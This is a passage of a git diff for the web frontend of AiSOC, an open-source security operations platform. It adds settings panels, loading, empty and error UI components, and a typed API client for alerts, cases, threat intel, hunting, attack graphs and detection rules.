Date(k.lastUsedAt), {+ addSuffix: true,+ })+ : '—'}+ </td>+ <td className="px-4 py-3 text-right">+ <button+ type="button"+ onClick={() => revoke(k.id)}+ className="rounded-lg border border-red-500/30 bg-red-500/10 px-3 py-1.5 text-xs font-medium text-red-300 hover:bg-red-500/20"+ >+ Revoke+ </button>+ </td>+ </tr>+ ))}+ </tbody>+ </table>+ </div>+ )}+ </div>+ </div>+ );+}++// ─── Panel: Notifications ─────────────────────────────────────────────────────++function NotificationsPanel() {+ const [prefs, setPrefs] = useState<Preferences>(DEFAULT_PREFS);++ useEffect(() => {+ setPrefs(loadPreferences());+ }, []);++ const update = <K extends keyof Preferences>(key: K, value: Preferences[K]) => {+ setPrefs((p) => {+ const next = { ...p, [key]: value };+ savePreferences(next);+ return next;+ });+ toast.success('Saved');+ };++ return (+ <div>+ <PanelHeader+ title="Notifications"+ description="How AiSOC pings you when things happen."+ />+ <div className="space-y-3 px-6 py-5">+ <Toggle+ label="Desktop notifications"+ description="Native browser notifications for new critical alerts."+ checked={prefs.desktopNotifications}+ onChange={(v) => update('desktopNotifications', v)}+ />+ <Toggle+ label="Alert sounds"+ description="Play a short tone when a critical alert arrives."+ checked={prefs.alertSoundsEnabled}+ onChange={(v) => update('alertSoundsEnabled', v)}+ />+ <Toggle+ label="Auto-open Copilot for high-severity alerts"+ description="Surfaces an investigation suggestion as soon as a critical alert lands."+ checked={prefs.copilotAutoOpen}+ onChange={(v) => update('copilotAutoOpen', v)}+ />++ <div className="rounded-lg border border-gray-800 bg-gray-950/40 p-4">+ <Field+ label="Email digest frequency"+ hint="Roll-up email summarizing alerts and case activity."+ >+ <select+ className={inputClass()}+ value={prefs.emailDigestFrequency}+ onChange={(e) =>+ update(+ 'emailDigestFrequency',+ e.target.value as Preferences['emailDigestFrequency'],+ )+ }+ >+ <option value="realtime">Real-time</option>+ <option value="hourly">Hourly</option>+ <option value="daily">Daily</option>+ <option value="off">Off</option>+ </select>+ </Field>+ </div>++ <div className="rounded-lg border border-gray-800 bg-gray-950/40 p-4">+ <Field+ label="Default time range"+ hint="Used by Hunt, Dashboard, and Cases when you first arrive."+ >+ <select+ className={inputClass()}+ value={prefs.defaultTimeRange}+ onChange={(e) =>+ update(+ 'defaultTimeRange',+ e.target.value as Preferences['defaultTimeRange'],+ )+ }+ >+ <option value="15m">Last 15 minutes</option>+ <option value="1h">Last hour</option>+ <option value="24h">Last 24 hours</option>+ <option value="7d">Last 7 days</option>+ </select>+ </Field>+ </div>+ </div>+ </div>+ );+}++// ─── Panel: Appearance ────────────────────────────────────────────────────────++function AppearancePanel() {+ const [prefs, setPrefs] = useState<Preferences>(DEFAULT_PREFS);++ useEffect(() => {+ setPrefs(loadPreferences());+ }, []);++ const update = <K extends keyof Preferences>(key: K, value: Preferences[K]) => {+ setPrefs((p) => {+ const next = { ...p, [key]: value };+ savePreferences(next);+ return next;+ });+ };++ return (+ <div>+ <PanelHeader+ title="Appearance"+ description="Tune how AiSOC looks and animates on this device."+ />+ <div className="space-y-5 px-6 py-5">+ {/* Theme */}+ <div>+ <p className="text-sm font-medium text-gray-300">Theme</p>+ <p className="mt-1 text-xs text-gray-500">+ AiSOC ships dark-first; light mode coming soon.+ </p>+ <div className="mt-3 grid grid-cols-3 gap-3">+ {(['system', 'dark', 'light'] as const).map((t) => {+ const active = prefs.theme === t;+ const disabled = t === 'light';+ return (+ <button+ key={t}+ type="button"+ disabled={disabled}+ onClick={() => update('theme', t)}+ className={clsx(+ 'rounded-xl border p-3 text-left transition-colors',+ active+ ? 'border-blue-500/60 bg-blue-500/10'+ : 'border-gray-800 bg-gray-950/40 hover:border-gray-700',+ disabled && 'cursor-not-allowed opacity-40',+ )}+ >+ <span className="block text-sm font-medium capitalize text-gray-100">+ {t}+ </span>+ <span className="mt-1 block text-xs text-gray-500">+ {t === 'system'+ ? 'Match OS preference'+ : t === 'dark'+ ? 'Operations-room dark'+ : 'Coming soon'}+ </span>+ </button>+ );+ })}+ </div>+ </div>++ {/* Density */}+ <div>+ <p className="text-sm font-medium text-gray-300">Density</p>+ <div className="mt-3 grid grid-cols-2 gap-3">+ {(['comfortable', 'compact'] as const).map((d) => {+ const active = prefs.density === d;+ return (+ <button+ key={d}+ type="button"+ onClick={() => update('density', d)}+ className={clsx(+ 'rounded-xl border p-3 text-left transition-colors',+ active+ ? 'border-blue-500/60 bg-blue-500/10'+ : 'border-gray-800 bg-gray-950/40 hover:border-gray-700',+ )}+ >+ <span className="block text-sm font-medium capitalize text-gray-100">+ {d}+ </span>+ <span className="mt-1 block text-xs text-gray-500">+ {d === 'comfortable'+ ? 'Default — relaxed spacing'+ : 'Tighter rows for high-density workloads'}+ </span>+ </button>+ );+ })}+ </div>+ </div>++ {/* Motion */}+ <Toggle+ label="Reduce motion"+ description="Disable non-essential animations. Recommended if you have motion sensitivity."+ checked={prefs.motion === 'reduced'}+ onChange={(v) => update('motion', v ? 'reduced' : 'full')}+ />+ </div>+ </div>+ );+}++// ─── Panel: Audit ─────────────────────────────────────────────────────────────++function AuditPanel() {+ return (+ <div>+ <PanelHeader+ title="Audit log"+ description="Recent administrative events. Full searchable audit history is available via the API."+ />+ <ol className="divide-y divide-gray-800">+ {DEMO_AUDIT.map((a) => (+ <li key={a.id} className="flex items-start gap-3 px-6 py-4">+ <span+ aria-hidden+ className={clsx(+ 'mt-1 inline-block h-2 w-2 shrink-0 rounded-full',+ a.action === 'failed-sync'+ ? 'bg-red-400'+ : a.action === 'rotated'+ ? 'bg-amber-400'+ : 'bg-emerald-400',+ )}+ />+ <div className="min-w-0 flex-1">+ <p className="text-sm text-gray-100">+ <span className="font-medium">{a.actor}</span>{' '}+ <span className="text-gray-400">{a.action}</span>{' '}+ <span>{a.target}</span>+ </p>+ <p className="text-xs text-gray-500">+ {formatDistanceToNow(new Date(a.at), { addSuffix: true })}+ </p>+ </div>+ </li>+ ))}+ </ol>+ </div>+ );+}++// ─── Panel: About ─────────────────────────────────────────────────────────────++function AboutPanel() {+ return (+ <div>+ <PanelHeader+ title="About AiSOC"+ description="Open-source SOC platform — by Cyble, MIT licensed."+ />+ <div className="grid gap-4 px-6 py-5 sm:grid-cols-2">+ <InfoTile label="Version" value="v3.0.0-rc.1" />+ <InfoTile label="Build" value="local • dev" />+ <InfoTile label="License" value="MIT" />+ <InfoTile label="Source" value="github.com/cybeio/aisoc" mono />+ </div>+ <div className="border-t border-gray-800 px-6 py-5 text-sm text-gray-400">+ <p>+ AiSOC is community-driven. Issues, ideas, and PRs welcome on GitHub.+ For commercial deployment support, see{' '}+ <a+ className="text-blue-400 hover:text-blue-300"+ href="https://cyble.com"+ target="_blank"+ rel="noreferrer"+ >+ cyble.com+ </a>+ .+ </p>+ <div className="mt-4 flex flex-wrap gap-2">+ <a+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-1.5 text-xs text-gray-200 hover:bg-gray-800"+ href="https://github.com/cybeio/aisoc"+ target="_blank"+ rel="noreferrer"+ >+ GitHub →+ </a>+ <a+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-1.5 text-xs text-gray-200 hover:bg-gray-800"+ href="https://github.com/cybeio/aisoc/blob/main/CHANGELOG.md"+ target="_blank"+ rel="noreferrer"+ >+ Changelog →+ </a>+ <a+ className="rounded-lg border border-gray-700 bg-gray-900 px-3 py-1.5 text-xs text-gray-200 hover:bg-gray-800"+ href="https://github.com/cybeio/aisoc/blob/main/SECURITY.md"+ target="_blank"+ rel="noreferrer"+ >+ Report a vulnerability →+ </a>+ </div>+ </div>+ </div>+ );+}diff --git a/apps/web/src/components/ui/EmptyState.tsx b/apps/web/src/components/ui/EmptyState.tsxnew file mode 100644index 000000000..a80d26e23--- /dev/null+++ b/apps/web/src/components/ui/EmptyState.tsx@@ -0,0 +1,38 @@+import { clsx } from 'clsx';+import type { ReactNode } from 'react';++interface EmptyStateProps {+ icon?: ReactNode;+ title: string;+ description?: string;+ action?: ReactNode;+ className?: string;+}++/**+ * Friendly placeholder shown when a list/section has no data yet.+ *+ * Always pair with a clear `action` so users can do *something* — a link+ * to docs, a "Connect data source" button, or a way to seed demo data.+ */+export function EmptyState({ icon, title, description, action, className }: EmptyStateProps) {+ return (+ <div+ className={clsx(+ 'flex flex-col items-center justify-center rounded-xl border border-dashed border-gray-800 bg-gray-900/30 px-6 py-12 text-center',+ className,+ )}+ >+ {icon && (+ <div className="mb-4 flex h-12 w-12 items-center justify-center rounded-full bg-gray-800/60 text-blue-400">+ {icon}+ </div>+ )}+ <h3 className="text-base font-semibold text-gray-100">{title}</h3>+ {description && (+ <p className="mt-1 max-w-md text-sm text-gray-500">{description}</p>+ )}+ {action && <div className="mt-5">{action}</div>}+ </div>+ );+}diff --git a/apps/web/src/components/ui/ErrorState.tsx b/apps/web/src/components/ui/ErrorState.tsxnew file mode 100644index 000000000..71533d5cb--- /dev/null+++ b/apps/web/src/components/ui/ErrorState.tsx@@ -0,0 +1,78 @@+import { clsx } from 'clsx';+import type { ReactNode } from 'react';++interface ErrorStateProps {+ title?: string;+ description?: string;+ error?: unknown;+ onRetry?: () => void;+ action?: ReactNode;+ className?: string;+}++function formatError(error: unknown): string | undefined {+ if (!error) return undefined;+ if (error instanceof Error) return error.message;+ if (typeof error === 'string') return error;+ try {+ return JSON.stringify(error);+ } catch {+ return String(error);+ }+}++/**+ * Surface a backend/network failure clearly so the analyst can act.+ *+ * Hides raw exceptions behind a friendly title, but exposes the+ * underlying message to power users when present (helpful for support).+ */+export function ErrorState({+ title = 'Something went wrong',+ description = "We couldn't load this view. Try again or check the service status.",+ error,+ onRetry,+ action,+ className,+}: ErrorStateProps) {+ const detail = formatError(error);++ return (+ <div+ className={clsx(+ 'rounded-xl border border-red-500/30 bg-red-500/5 px-6 py-8 text-center',+ className,+ )}+ role="alert"+ >+ <div className="mx-auto mb-4 flex h-12 w-12 items-center justify-center rounded-full bg-red-500/15 text-red-400">+ <svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">+ <path+ strokeLinecap="round"+ strokeLinejoin="round"+ strokeWidth={1.5}+ d="M12 9v3.75m-9.303 3.376c-.866 1.5.217 3.374 1.948 3.374h14.71c1.73 0 2.813-1.874 1.948-3.374L13.949 3.378c-.866-1.5-3.032-1.5-3.898 0L2.697 16.126zM12 15.75h.007v.008H12v-.008z"+ />+ </svg>+ </div>+ <h3 className="text-base font-semibold text-red-200">{title}</h3>+ <p className="mx-auto mt-1 max-w-md text-sm text-red-300/70">{description}</p>+ {detail && (+ <pre className="mx-auto mt-4 max-w-xl overflow-x-auto rounded-md bg-black/30 px-3 py-2 text-left font-mono text-xs text-red-300/80">+ {detail}+ </pre>+ )}+ <div className="mt-5 flex items-center justify-center gap-3">+ {onRetry && (+ <button+ onClick={onRetry}+ className="rounded-md border border-red-500/40 bg-red-500/10 px-4 py-2 text-sm font-medium text-red-200 transition-colors hover:bg-red-500/20"+ >+ Retry+ </button>+ )}+ {action}+ </div>+ </div>+ );+}diff --git a/apps/web/src/components/ui/Skeleton.tsx b/apps/web/src/components/ui/Skeleton.tsxnew file mode 100644index 000000000..fb882e887--- /dev/null+++ b/apps/web/src/components/ui/Skeleton.tsx@@ -0,0 +1,61 @@+import { clsx } from 'clsx';+import type { HTMLAttributes } from 'react';++interface SkeletonProps extends HTMLAttributes<HTMLDivElement> {+ rounded?: 'sm' | 'md' | 'lg' | 'xl' | 'full';+}++/**+ * A bg-pulsing block used as a placeholder while data loads.+ *+ * Prefer this over silently rendering empty space — it gives the UI a+ * predictable shape so layout doesn't jump when real data arrives.+ */+export function Skeleton({ className, rounded = 'md', ...props }: SkeletonProps) {+ const roundedClass = {+ sm: 'rounded-sm',+ md: 'rounded-md',+ lg: 'rounded-lg',+ xl: 'rounded-xl',+ full: 'rounded-full',+ }[rounded];++ return (+ <div+ className={clsx(+ 'animate-pulse bg-gradient-to-r from-gray-800/40 via-gray-700/40 to-gray-800/40 bg-[length:200%_100%]',+ roundedClass,+ className,+ )}+ style={{ animation: 'skeleton-shimmer 1.4s ease-in-out infinite' }}+ {...props}+ />+ );+}++interface SkeletonListProps {+ count?: number;+ className?: string;+ rowClassName?: string;+}++export function SkeletonList({ count = 5, className, rowClassName }: SkeletonListProps) {+ return (+ <div className={clsx('space-y-3', className)}>+ {Array.from({ length: count }).map((_, i) => (+ <Skeleton key={i} className={clsx('h-14 w-full', rowClassName)} />+ ))}+ </div>+ );+}++export function SkeletonCard() {+ return (+ <div className="rounded-xl border border-gray-800/60 bg-gray-900/40 p-5 space-y-4">+ <Skeleton className="h-4 w-1/3" />+ <Skeleton className="h-8 w-2/3" />+ <Skeleton className="h-3 w-full" />+ <Skeleton className="h-3 w-4/5" />+ </div>+ );+}diff --git a/apps/web/src/lib/api.ts b/apps/web/src/lib/api.tsindex 307fd76ba..e1254f4ee 100644--- a/apps/web/src/lib/api.ts+++ b/apps/web/src/lib/api.ts@@ -1,22 +1,77 @@/*** AiSOC API Client- * Typed HTTP client for communicating with the Core API service+ *+ * Typed HTTP client that talks to the Core API service and a few sibling+ * microservices (agents, fusion, threatintel, enrichment).+ *+ * Conventions:+ * - Every public function returns a typed `Promise<T>`. Callers should+ * wrap with SWR / React Query for caching + retries.+ * - Errors are thrown as native `Error` with the HTTP status + body so+ * UI components can catch and render `<ErrorState error={e} />`.+ * - Base URLs are configured via NEXT_PUBLIC_* env vars and default to+ * local-development hostnames.*/-const API_BASE = process.env.NEXT_PUBLIC_API_URL || 'http://localhost:8080';+const API_BASE =+ process.env.NEXT_PUBLIC_API_URL || 'http://localhost:8000';+const AGENTS_BASE =+ process.env.NEXT_PUBLIC_AGENTS_URL || 'http://localhost:8001';+const ACTIONS_BASE =+ process.env.NEXT_PUBLIC_ACTIONS_URL || 'http://localhost:8002';+const FUSION_BASE =+ process.env.NEXT_PUBLIC_FUSION_URL || 'http://localhost:8003';+const THREATINTEL_BASE =+ process.env.NEXT_PUBLIC_THREATINTEL_URL || 'http://localhost:8005';+const ENRICHMENT_BASE =+ process.env.NEXT_PUBLIC_ENRICHMENT_URL || 'http://localhost:8080';+const REALTIME_BASE =+ process.env.NEXT_PUBLIC_REALTIME_URL || 'http://localhost:8086';+const WS_BASE =+ process.env.NEXT_PUBLIC_WS_URL || 'ws://localhost:8086';++const TENANT_ID =+ process.env.NEXT_PUBLIC_TENANT_ID ||+ '00000000-0000-0000-0000-000000000001';++export const API_BASES = {+ api: API_BASE,+ agents: AGENTS_BASE,+ actions: ACTIONS_BASE,+ fusion: FUSION_BASE,+ threatintel: THREATINTEL_BASE,+ enrichment: ENRICHMENT_BASE,+ realtime: REALTIME_BASE,+ ws: WS_BASE,+} as const;++export const DEFAULT_TENANT_ID = TENANT_ID;interface FetchOptions extends RequestInit {params?: Record<string, string | number | boolean | undefined>;+ baseUrl?: string;+}++export class ApiError extends Error {+ status: number;+ body: string;++ constructor(message: string, status: number, body: string) {+ super(message);+ this.name = 'ApiError';+ this.status = status;+ this.body = body;+ }}async function request<T>(path: string, options: FetchOptions = {}): Promise<T> {- const { params, ...fetchOptions } = options;+ const { params, baseUrl, ...fetchOptions } = options;- let url = `${API_BASE}${path}`;+ let url = `${baseUrl ?? API_BASE}${path}`;if (params) {const searchParams = new URLSearchParams();Object.entries(params).forEach(([key, value]) => {- if (value !== undefined && value !== null) {+ if (value !== undefined && value !== null && value !== '') {searchParams.set(key, String(value));}});@@ -26,39 +81,74 @@ async function request<T>(path: string, options: FetchOptions = {}): Promise<T>const headers: HeadersInit = {'Content-Type': 'application/json',+ 'X-Tenant-Id': TENANT_ID,...fetchOptions.headers,};- const response = await fetch(url, {- ...fetchOptions,- headers,- cache: 'no-store',- });+ let response: Response;+ try {+ response = await fetch(url, {+ ...fetchOptions,+ headers,+ cache: 'no-store',+ });+ } catch (err) {+ throw new ApiError(+ `Network error talking to ${url}: ${(err as Error).message}`,+ 0,+ '',+ );+ }if (!response.ok) {- const errorText = await response.text();- throw new Error(`API Error ${response.status}: ${errorText}`);+ const errorText = await response.text().catch(() => '');+ throw new ApiError(+ `API ${response.status} ${response.statusText} — ${path}`,+ response.status,+ errorText,+ );}if (response.status === 204) return {} as T;-- return response.json();+ // Some endpoints (the agent stream, NDJSON) might not be JSON. Callers that+ // need streams should use fetch() directly. Here we assume JSON.+ return (await response.json()) as T;}// ─── Alerts ─────────────────────────────────────────────────────────────────+export type AlertSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info';+export type AlertStatus =+ | 'new'+ | 'triaged'+ | 'investigating'+ | 'resolved'+ | 'false_positive';++export interface MitreAttack {+ tactic: string;+ technique: string;+ techniqueId: string;+}++export interface AlertIOC {+ type: string;+ value: string;+ malicious?: boolean;+}+export interface Alert {id: string;title: string;description: string;- severity: 'critical' | 'high' | 'medium' | 'low' | 'info';- status: 'new' | 'triaged' | 'investigating' | 'resolved' | 'false_positive';+ severity: AlertSeverity;+ status: AlertStatus;source: string;sourceRef?: string;tenantId: string;riskScore: number;- mitreAttack?: { tactic: string; technique: string; techniqueId: string }[];- iocs?: { type: string; value: string; malicious?: boolean }[];+ mitreAttack?: MitreAttack[];+ iocs?: AlertIOC[];rawEvent?: Record<string, unknown>;assignee?: string;caseId?: string;@@ -90,10 +180,11 @@ export interface AlertFilters {export const alertsApi = {list: (filters: AlertFilters = {}) =>- request<AlertsResponse>('/api/v1/alerts', { params: filters as Record<string, string> }),+ request<AlertsResponse>('/api/v1/alerts', {+ params: filters as Record<string, string>,+ }),- get: (id: string) =>- request<Alert>(`/api/v1/alerts/${id}`),+ get: (id: string) => request<Alert>(`/api/v1/alerts/${id}`),update: (id: string, data: Partial<Alert>) =>request<Alert>(`/api/v1/alerts/${id}`, {@@ -101,37 +192,79 @@ export const alertsApi = {body: JSON.stringify(data),}),- bulkAction: (ids: string[], action: string, data?: Record<string, unknown>) =>+ bulkAction: (+ ids: string[],+ action: string,+ data?: Record<string, unknown>,+ ) =>request<{ updated: number }>('/api/v1/alerts/bulk', {method: 'POST',body: JSON.stringify({ ids, action, ...data }),}),getTimeline: (id: string) =>- request<{ events: Array<{ id: string; timestamp: string; type: string; title: string; description: string }> }>(- `/api/v1/alerts/${id}/timeline`- ),+ request<{+ events: Array<{+ id: string;+ timestamp: string;+ type: string;+ title: string;+ description: string;+ }>;+ }>(`/api/v1/alerts/${id}/timeline`),};// ─── Cases ───────────────────────────────────────────────────────────────────+export type CaseStatus =+ | 'open'+ | 'in_progress'+ | 'pending'+ | 'resolved'+ | 'closed';+export type CaseSeverity = 'critical' | 'high' | 'medium' | 'low';++export interface CaseTimelineEvent {+ id: string;+ type: string;+ timestamp: string;+ title: string;+ description?: string;+ actor?: string;+}++export interface CaseTask {+ id: string;+ title: string;+ status: 'todo' | 'in_progress' | 'done';+ assignee?: string;+ dueAt?: string;+ createdAt: string;+}+export interface Case {id: string;title: string;- description: string;- status: 'open' | 'in_progress' | 'pending' | 'resolved' | 'closed';- priority: 'critical' | 'high' | 'medium' | 'low';+ description?: string;+ status: CaseStatus;+ severity: CaseSeverity;+ /** Display alias for severity used by some UIs. */+ priority?: CaseSeverity;assignee?: string;- tenantId: string;+ tenantId?: string;alertIds?: string[];+ /** Cached count from the backend so the UI doesn't have to re-aggregate. */+ alertCount?: number;tags?: string[];mitre?: string[];resolution?: string;- createdBy: string;+ createdBy?: string;createdAt: string;updatedAt: string;closedAt?: string;dueAt?: string;+ timeline?: CaseTimelineEvent[];+ tasks?: CaseTask[];}export interface CasesResponse {@@ -144,6 +277,7 @@ export interface CasesResponse {export interface CaseFilters {status?: string;priority?: string;+ severity?: string;assignee?: string;search?: string;page?: number;@@ -152,10 +286,11 @@ export interface CaseFilters {export const casesApi = {list: (filters: CaseFilters = {}) =>- request<CasesResponse>('/api/v1/cases', { params: filters as Record<string, string> }),+ request<CasesResponse>('/api/v1/cases', {+ params: filters as Record<string, string>,+ }),- get: (id: string) =>- request<Case>(`/api/v1/cases/${id}`),+ get: (id: string) => request<Case>(`/api/v1/cases/${id}`),create: (data: Partial<Case>) =>request<Case>('/api/v1/cases', {@@ -170,19 +305,37 @@ export const casesApi = {}),addComment: (id: string, comment: string) =>- request<{ id: string; comment: string; createdAt: string }>(`/api/v1/cases/${id}/comments`, {- method: 'POST',- body: JSON.stringify({ comment }),- }),+ request<{ id: string; comment: string; createdAt: string }>(+ `/api/v1/cases/${id}/comments`,+ {+ method: 'POST',+ body: JSON.stringify({ comment }),+ },+ ),linkAlerts: (id: string, alertIds: string[]) =>request<Case>(`/api/v1/cases/${id}/alerts`, {method: 'POST',body: JSON.stringify({ alertIds }),}),++ getTimeline: (id: string) =>+ request<{ events: CaseTimelineEvent[] }>(`/api/v1/cases/${id}/timeline`),++ addTask: (id: string, task: Partial<CaseTask>) =>+ request<CaseTask>(`/api/v1/cases/${id}/tasks`, {+ method: 'POST',+ body: JSON.stringify(task),+ }),++ updateTask: (caseId: string, taskId: string, task: Partial<CaseTask>) =>+ request<CaseTask>(`/api/v1/cases/${caseId}/tasks/${taskId}`, {+ method: 'PATCH',+ body: JSON.stringify(task),+ }),};-// ─── Metrics ─────────────────────────────────────────────────────────────────+// ─── Metrics / Dashboard ─────────────────────────────────────────────────────export interface DashboardMetrics {alerts: {@@ -211,25 +364,39 @@ export const metricsApi = {request<DashboardMetrics>('/api/v1/metrics/dashboard'),getAlertTrend: (period: '1h' | '24h' | '7d' | '30d') =>- request<{ data: Array<{ timestamp: string; count: number }> }>(`/api/v1/metrics/alerts/trend`, {- params: { period },- }),+ request<{ data: Array<{ timestamp: string; count: number }> }>(+ `/api/v1/metrics/alerts/trend`,+ {+ params: { period },+ },+ ),};// ─── Connectors ──────────────────────────────────────────────────────────────+export type ConnectorStatus =+ | 'active'+ | 'inactive'+ | 'error'+ | 'configuring';+export interface Connector {id: string;name: string;type: string;- status: 'active' | 'inactive' | 'error' | 'configuring';- tenantId: string;- config?: Record<string, string>;+ status: ConnectorStatus;+ /** `true` when the connector is enabled (separate from runtime status). */+ enabled?: boolean;+ tenantId?: string;+ config?: Record<string, unknown>;lastSync?: string;+ /** Number of alerts ingested through this connector. */+ alertCount?: number;alertsIngested?: number;errorMessage?: string;- createdAt: string;- updatedAt: string;+ description?: string;+ createdAt?: string;+ updatedAt?: string;}export interface ConnectorsResponse {@@ -238,11 +405,9 @@ export interface ConnectorsResponse {}export const connectorsApi = {- list: () =>- request<ConnectorsResponse>('/api/v1/connectors'),+ list: () => request<ConnectorsResponse>('/api/v1/connectors'),- get: (id: string) =>- request<Connector>(`/api/v1/connectors/${id}`),+ get: (id: string) => request<Connector>(`/api/v1/connectors/${id}`),create: (data: Partial<Connector>) =>request<Connector>('/api/v1/connectors', {@@ -250,41 +415,72 @@ export const connectorsApi = {body: JSON.stringify(data),}),- test: (id: string) =>- request<{ success: boolean; message: string; latencyMs: number }>(`/api/v1/connectors/${id}/test`, {- method: 'POST',+ update: (id: string, data: Partial<Connector>) =>+ request<Connector>(`/api/v1/connectors/${id}`, {+ method: 'PATCH',+ body: JSON.stringify(data),}),+ test: (id: string) =>+ request<{ success: boolean; message: string; latencyMs: number }>(+ `/api/v1/connectors/${id}/test`,+ { method: 'POST' },+ ),+delete: (id: string) =>request<void>(`/api/v1/connectors/${id}`, { method: 'DELETE' }),};// ─── Threat Intel ─────────────────────────────────────────────────────────────-export interface IOCLookup {- ioc: string;- type: 'ip' | 'domain' | 'hash' | 'url' | 'email';- malicious: boolean;+export type IndicatorType = 'ip' | 'domain' | 'hash' | 'url' | 'email';++/**+ * A canonical threat indicator surfaced by the threatintel service.+ *+ * Carries the analyst-facing fields used by the IOC inbox (severity,+ * confidence, tags) plus the raw lookup data (sources, geo, ASN).+ */+export interface ThreatIndicator {+ id: string;+ type: IndicatorType;+ value: string;+ /** 0-100 confidence score blended across providers. */confidence: number;- sources: string[];+ severity: AlertSeverity;+ malicious: boolean;tags?: string[];+ sources: string[];firstSeen?: string;lastSeen?: string;+ description?: string;country?: string;asn?: string;- description?: string;mitre?: string[];}+export interface IOCLookup extends ThreatIndicator {+ /** Free-form provider blob (kept around for power users). */+ raw?: Record<string, unknown>;+}+export const threatIntelApi = {lookup: (ioc: string) =>- request<IOCLookup>('/api/v1/enrichment/lookup', { params: { ioc } }),+ request<IOCLookup>('/api/v1/enrichment/lookup', {+ params: { ioc },+ }),bulkLookup: (iocs: string[]) =>request<{ results: IOCLookup[] }>('/api/v1/enrichment/bulk', {method: 'POST',body: JSON.stringify({ iocs }),}),++ list: (filters: { type?: IndicatorType; tag?: string; q?: string } = {}) =>+ request<{ indicators: ThreatIndicator[]; total: number }>(+ '/api/v1/threat-intel/indicators',+ { params: filters as Record<string, string> },+ ),};// ─── AI Agents ────────────────────────────────────────────────────────────────@@ -309,6 +505,311 @@ export const agentsApi = {getInvestigation: (id: string) =>request<AgentInvestigation>(`/api/v1/agents/investigations/${id}`),++ /**+ * Stream an investigation as Server-Sent Events / NDJSON. Returns the+ * raw `Response` so callers can pipe to a reader.+ */+ streamInvestigation: (alertId: string, signal?: AbortSignal) =>+ fetch(`${AGENTS_BASE}/api/v1/agents/investigate/stream`, {+ method: 'POST',+ headers: {+ 'Content-Type': 'application/json',+ 'X-Tenant-Id': TENANT_ID,+ },+ body: JSON.stringify({ alertId }),+ signal,+ }),+};++// ─── Hunt / Search ───────────────────────────────────────────────────────────++export interface HuntQuery {+ query: string;+ language?: 'kql' | 'lucene' | 'sql' | 'esql';+ startTime?: string;+ endTime?: string;+ limit?: number;+}++export interface HuntResult {+ id: string;+ timestamp: string;+ source: string;+ severity?: AlertSeverity;+ fields: Record<string, unknown>;+ highlight?: string;+}++export interface HuntResponse {+ total: number;+ took: number;+ hits: HuntResult[];+}++export interface SavedSearch {+ id: string;+ name: string;+ query: string;+ language: string;+ createdAt: string;+ pinned?: boolean;+}++export const huntApi = {+ search: (query: HuntQuery) =>+ request<HuntResponse>('/api/v1/hunt/search', {+ method: 'POST',+ body: JSON.stringify(query),+ }),++ listSaved: () =>+ request<{ searches: SavedSearch[] }>('/api/v1/hunt/saved'),++ saveSearch: (data: Pick<SavedSearch, 'name' | 'query' | 'language'>) =>+ request<SavedSearch>('/api/v1/hunt/saved', {+ method: 'POST',+ body: JSON.stringify(data),+ }),++ deleteSaved: (id: string) =>+ request<void>(`/api/v1/hunt/saved/${id}`, { method: 'DELETE' }),+};++// ─── Attack Graph (Neo4j) ────────────────────────────────────────────────────++export type GraphNodeKind =+ | 'host'+ | 'user'+ | 'ip'+ | 'domain'+ | 'hash'+ | 'process'+ | 'technique'+ | 'tactic'+ | 'alert'+ | 'asset';++export interface GraphNode {+ id: string;+ label: string;+ kind: GraphNodeKind;+ riskScore?: number;+ severity?: AlertSeverity;+ attributes?: Record<string, unknown>;+}++export interface GraphEdge {+ id: string;+ source: string;+ target: string;+ label: string;+ weight?: number;+ attributes?: Record<string, unknown>;+}++export interface AttackGraph {+ nodes: GraphNode[];+ edges: GraphEdge[];+ generatedAt: string;+}++export interface AttackPath {+ id: string;+ nodes: GraphNode[];+ edges: GraphEdge[];+ totalRisk: number;+ hops: number;+}++export interface MitreCoverageCell {+ techniqueId: string;+ techniqueName: string;+ tactic: string;+ detections: number;+ alerts: number;+ /** 0-1 normalized coverage for heatmap shading. */+ intensity: number;+}++export interface MitreCoverage {+ tactics: string[];+ cells: MitreCoverageCell[];+ generatedAt: string;+}++export const graphApi = {+ getOverview: (filters: { entity?: string; depth?: number } = {}) =>+ request<AttackGraph>('/api/v1/graph', {+ params: filters as Record<string, string | number>,+ }),++ getPaths: (entity: string, options: { maxHops?: number } = {}) =>+ request<{ paths: AttackPath[] }>(`/api/v1/graph/paths`, {+ params: { entity, ...options },+ }),++ getMitreCoverage: () =>+ request<MitreCoverage>('/api/v1/graph/mitre/coverage'),++ getBlastRadius: (entity: string) =>+ request<{ radius: AttackGraph; affectedAssets: string[] }>(+ `/api/v1/graph/blast-radius`,+ { params: { entity } },+ ),+};++// ─── Detection Rules ─────────────────────────────────────────────────────────++export type DetectionLanguage =+ | 'sigma'+ | 'yara'+ | 'kql'+ | 'eql'+ | 'lucene'+ | 'regex';++export interface DetectionRule {+ id: string;+ name: string;+ description?: string;+ language: DetectionLanguage;+ body: string;+ enabled: boolean;+ tags?: string[];+ mitre?: string[];+ severity?: AlertSeverity;+ createdAt: string;+ updatedAt: string;+ lastTriggeredAt?: string;+ hitCount?: number;+}++export const detectionApi = {+ list: () =>+ request<{ rules: DetectionRule[]; total: number }>(+ '/api/v1/detection/rules',+ ),++ get: (id: string) => request<DetectionRule>(`/api/v1/detection/rules/${id}`),++ create: (rule: Partial<DetectionRule>) =>+ request<DetectionRule>('/api/v1/detection/rules', {+ method: 'POST',+ body: JSON.stringify(rule),+ }),++ update: (id: string, rule: Partial<DetectionRule>) =>+ request<DetectionRule>(`/api/v1/detection/rules/${id}`, {+ method: 'PATCH',+ body: JSON.stringify(rule),+ }),++ delete: (id: string) =>+ request<void>(`/api/v1/detection/rules/${id}`, { method: 'DELETE' }),++ test: (rule: Pick<DetectionRule, 'language' | 'body'> & { sample?: string }) =>+ request<{ matches: number; preview: HuntResult[] }>(+ '/api/v1/detection/test',+ {+ method: 'POST',+ body: JSON.stringify(rule),+ },+ ),+};++// ─── AI Copilot ──────────────────────────────────────────────────────────────++export type CopilotRole = 'user' | 'assistant' | 'system';++export interface CopilotMessage {+ id: string;+ role: CopilotRole;+ content: string;+ /** When the message was created (ISO string). */+ createdAt: string;+ /** Optional citations to backend resources the assistant referenced. */+ citations?: Array<{+ label: string;+ href?: string;+ kind?: 'alert' | 'case' | 'rule' | 'asset' | 'doc';+ }>;+ /** Optional structured suggestions the UI can render as buttons. */+ suggestions?: string[];+}++export interface CopilotConversation {+ id: string;+ title: 